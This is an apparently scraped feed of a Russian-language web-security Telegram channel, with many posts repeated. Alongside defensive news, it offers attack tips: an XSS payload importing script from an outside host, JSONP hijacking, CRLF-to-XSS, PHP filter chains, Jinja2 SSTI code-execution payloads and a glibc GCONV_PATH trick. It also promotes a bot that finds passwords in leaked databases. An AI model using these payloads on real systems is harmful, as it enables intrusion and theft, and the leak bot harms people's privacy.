Forwarded from Br0wSec (Andrey Kovalev)
Вышел отчет Chromium Security Q4. Самое интересное, что там было - представление нового API для защиты от XSS (в первую очередь от DOM-based), который называется Trusted Types.
Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.
Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.
Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.
Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.
Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
web.dev
Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types | Articles | web.dev
Introducing Trusted Types: a browser API to prevent DOM-based cross-site scripting in modern web applications.
GraphQL - это технология для создания API от Facebook. Сейчас на многих современных сайтах можно увидеть обращения к GraphQL-бекендам, у которых нередко можно встретить проблемы с разделением прав доступа. Достаточно вспомнить недавний баг у HackerOne.
Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например
Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например
password_contains
, password_not_contains
, password_starts_with
и др. И что самое главное - авторизация для таких полей реализована некорректно, допуская error-based перебор символов.HackerOne
HackerOne disclosed on HackerOne: Confidential data of users and...
On January 31st, 2019 at 7:16pm PST, HackerOne confirmed that two reporters were able to query confidential data through a GraphQL endpoint. This vulnerability was introduced on December 17th, 2018...
Чуваки из Google сделали офигенный сервис!
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).
https://www.vulncode-db.com
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).
https://www.vulncode-db.com
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения. 🔥
В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
Кавычка
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения.…
Учетная запись была в открытом доступе примерно с лета прошлого года. Репозиторий уже был удален, клиенты не пострадали (надеюсь), а мы уже получили ответ от Devicelock - "ага, спасибо. не нужно конечно было это допускать ;)".
JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов
https://terjanq.github.io/JS-Alpha/encoder.html
Например,
/[a-z().]/
(ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.https://terjanq.github.io/JS-Alpha/encoder.html
Например,
alert(1)
: with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
Бот для поиска паролей по введённому email’у на основе множества утечек баз данных. База постоянно пополняется :)
@mailsearchbot
@mailsearchbot
Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
Зачастую для вызова обратной функции у меня встречались следующие параметры:
А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951
Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
GET /api/user.info?callback=xek
HTTP/1.1Зачастую для вызова обратной функции у меня встречались следующие параметры:
callback
jsonp
cb
jp
А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951
Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
PortSwigger Research
JSON hijacking for the modern web
I presented this topic at OWASP London and Manchester. You can find the talk and slides below: Slides from OWASP London talk Benjamin Dumke-von der Ehe found an interesting way to steal data cross dom
Когда у тебя есть CRLF в заголовке Location при редиректе, ты можешь попробовать превратить CRLF в полноценную XSS.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Чтобы подключить внешний JS на страницу, нужно было либо обращаться к удаленной странице и выполнять ответ. Или хитрить и использовать уже подключенные библиотеки, например
Сейчас в Chrome и Safari достаточно использовать функцию import. Например
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
$.getScript
в Jquery.Сейчас в Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
PayloadsAllTheThings - коллекция полезной нагрузки ко всему, вот серьёзно.
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
🔥1
Не секрет, что Telegram поддерживает форматирование. Мессенджер поддерживает markdown, к тому же, у него есть горячие клавиши. Например это жирные (
А еще можно вставлять ссылки. Причем внешне корректные ссылки, такие как https://google.com, хоть и могут отправлять в другое место, но будет отображено предупреждение.
Но ссылки на
Так что аккуратнее с этим. А @durov, спасибо!
Ctrl/Cmd + B
) или курсивные ( Ctrl/Cmd + I
) буквы.А еще можно вставлять ссылки. Причем внешне корректные ссылки, такие как https://google.com, хоть и могут отправлять в другое место, но будет отображено предупреждение.
Но ссылки на
t.iss.one
будут обработаны по-другому. При нажатии сразу будет открываться группа, профиль человека или бот. Для этого нужно выделить текст, нажать Ctrl/Cmd+U
и указать ссылку.Так что аккуратнее с этим. А @durov, спасибо!
Часто при использовании Burp Repeater'а хочется посмотреть историю отправленных через него запросов - для этого удобно использовать плагин Burp Suite Logger++.
https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
https://github.com/nccgroup/BurpSuiteLoggerPlusPlus
GitHub
GitHub - nccgroup/LoggerPlusPlus: Advanced Burp Suite Logging Extension
Advanced Burp Suite Logging Extension. Contribute to nccgroup/LoggerPlusPlus development by creating an account on GitHub.
Что если вы контролируете путь к файлу для чтения в PHP, но результат отображается только при соответствии каким-то условиям?
Например, это может быть проверка через getimagesize() на то, что прочитанный файл является изображением. Также содержимое может выводиться не целиком, а лишь частично.
Ещё ситуация: у вас XXE, и вы хотите читать файлы с угловыми скобками (те же PHP-скрипты). Просто так это зачастую не сделать из-за нарушения синтаксиса XML.
На помощь приходят обёртки и фильтры:
https://www.php.net/manual/ru/filters.convert.php
https://www.php.net/manual/ru/filters.compression.php
https://www.php.net/manual/ru/filters.string.php
https://www.php.net/manual/ru/migration53.new-stream-filters.php
PHP позволяет на лету преобразовывать содержимое, прочитанное из ресурса (как из файловой системы, так и по сети).
Например, вот так можно прочитать веб-страницу, на лету убрать из неё теги, сжать с zlib и закодировать в base64:
Комбинируя фильтры, можно зачастую извлечь данные, которые приложение не хотело отдавать из-за валидации в XML-парсере или на уровне скрипта.
Например, это может быть проверка через getimagesize() на то, что прочитанный файл является изображением. Также содержимое может выводиться не целиком, а лишь частично.
Ещё ситуация: у вас XXE, и вы хотите читать файлы с угловыми скобками (те же PHP-скрипты). Просто так это зачастую не сделать из-за нарушения синтаксиса XML.
На помощь приходят обёртки и фильтры:
https://www.php.net/manual/ru/filters.convert.php
https://www.php.net/manual/ru/filters.compression.php
https://www.php.net/manual/ru/filters.string.php
https://www.php.net/manual/ru/migration53.new-stream-filters.php
PHP позволяет на лету преобразовывать содержимое, прочитанное из ресурса (как из файловой системы, так и по сети).
Например, вот так можно прочитать веб-страницу, на лету убрать из неё теги, сжать с zlib и закодировать в base64:
php://filter/read=string.strip_tags|zlib.deflate|convert.base64-encode/resource=https://localhost:1337/secret.xml
Комбинируя фильтры, можно зачастую извлечь данные, которые приложение не хотело отдавать из-за валидации в XML-парсере или на уровне скрипта.
Отличный эксплоит с отличным названием PHuiP-FPizdaM!
В версиях php 7+ (заканчивая вчерашней) в парсинге fastcgi есть бинарный баг, который позволяет перетереть FASTCGI переменные, что позволяет выставлять php.ini опции, что в свою очередь дает возможность выполнить код.
Для успешной эксплутатации нужно, чтобы в связке php-fpm + nginx конфиг последнего позволял передать пустое значение PATH_INFO (все предусловия написаны в README.md эксплоита).
Подробности, примеры и прочие фишки будут на ZN.
В версиях php 7+ (заканчивая вчерашней) в парсинге fastcgi есть бинарный баг, который позволяет перетереть FASTCGI переменные, что позволяет выставлять php.ini опции, что в свою очередь дает возможность выполнить код.
Для успешной эксплутатации нужно, чтобы в связке php-fpm + nginx конфиг последнего позволял передать пустое значение PATH_INFO (все предусловия написаны в README.md эксплоита).
Подробности, примеры и прочие фишки будут на ZN.
GitHub
phuip-fpizdam/README.md at master · neex/phuip-fpizdam
Exploit for CVE-2019-11043. Contribute to neex/phuip-fpizdam development by creating an account on GitHub.
Если вы когда-нибудь сталкивались с SSTI в Jinja2, то вы наверняка гуглили RCE payload и находили что-то монструозное вроде этого:
Этот пейлоад достает класс
К счастью, всё можно сделать гораздо проще:
Здесь мы используем встроенную в Jinja функцию
Вообще, при эксплуатации SSTI-подобных уязвимостей в питоне полезно помнить о существовании свойства
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
Этот пейлоад достает класс
Popen
по индексу из наследников object
и исполняет команду. Он не очень-то удобен: индекс Popen
(который в примере равен 46) различается от сетапа к сетапу, поэтому его нужно подбирать.К счастью, всё можно сделать гораздо проще:
{{lipsum.__globals__["__builtins__"].eval("<python code>")}}
Здесь мы используем встроенную в Jinja функцию
lipsum
(она возвращает текст "Lorem ipsum dolor..."), но вместо того чтобы вызывать её, мы через __globals__
достаем её глобальные переменные — а в них нас ждет модуль __builtins__
с функцией eval
.Вообще, при эксплуатации SSTI-подобных уязвимостей в питоне полезно помнить о существовании свойства
__globals__
у всех питоновских функций (кроме встроенных). Если в вашем окружении нет функций, а только объекты — не беда, найдите у него любой метод и возьмите свойство __func__
. Вы получите unbound функцию, у которой уже будет __globals__
.Знали ли вы, что второй аргумент
Оказывается, glibc поддерживает синтаксис для указания кодировок, это можно сделать вот так:
В итоге, если вы можете для чужого приложения
1) переопределить переменную окружения
2) куда-нибудь записать свою so-шку и файл
3) дописать
то вы получите выполнение кода.
Конечно, в реальных приложениях такое вряд ли встретится, но это доказывает что даже в самых базовых библиотеках полно интересного.
Кстати, эта же система кодировок-модулей используется и в
Подробности можно прочитать в посте японца, который это заметил.
fopen
(тот самый, который w
или, например, r+
) умеет исполнять код? Ну почти.Оказывается, glibc поддерживает синтаксис для указания кодировок, это можно сделать вот так:
fopen("file", "w,ccs=<encoding>")
. Сами кодировки подгружаются динамически, функции для работы с каждой кодировкой лежат в отдельном .so
-файле. Конфиг, содержащий пути к этим библиотекам называется gconv-modules
и обычно лежит где-нибудь в /usr/lib/x86_64-linux-gnu/gconv/
, но если переопределить переменную окружения GCONV_PATH
, то он будет браться из указанной директории. И path traversal, конечно, в нем полностью поддерживается.В итоге, если вы можете для чужого приложения
1) переопределить переменную окружения
GCONV_PATH
2) куда-нибудь записать свою so-шку и файл
gconv-modules
3) дописать
,css=payload
во второй аргумент fopen
то вы получите выполнение кода.
Конечно, в реальных приложениях такое вряд ли встретится, но это доказывает что даже в самых базовых библиотеках полно интересного.
Кстати, эта же система кодировок-модулей используется и в
iconv
(и утилите, и библиотеке), поэтому трюк можно использовать для обхода disabled_functions
в php. Правда, для того, чтобы задать GCONV_PATH
должен быть разрешен putenv
, а это уже само по себе небезопасно.Подробности можно прочитать в посте японца, который это заметил.
#Nmap
Для красивого отображения результата сканирования с помощью nmap (с сохранением XML, атрибут -oX), достаточно добавить кастомный стиль, который сделает доступным сортировку, поиск и прочие плюшки bootstrap.
Для этого достаточно добавить строку
после
Или проще - положить содержимое nmap-bootstrap.xsl в /usr/share/nmap/nmap.xsl, после чего локальные результаты сканирования будут иметь красивый и удобный для работы вид, без парсинга содержимого XML и верстки в сторонних утилитах.
Для красивого отображения результата сканирования с помощью nmap (с сохранением XML, атрибут -oX), достаточно добавить кастомный стиль, который сделает доступным сортировку, поиск и прочие плюшки bootstrap.
Для этого достаточно добавить строку
<?xml-stylesheet href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl" type="text/xsl"?>
после
<!DOCTYPE nmaprun>
. Или проще - положить содержимое nmap-bootstrap.xsl в /usr/share/nmap/nmap.xsl, после чего локальные результаты сканирования будут иметь красивый и удобный для работы вид, без парсинга содержимого XML и верстки в сторонних утилитах.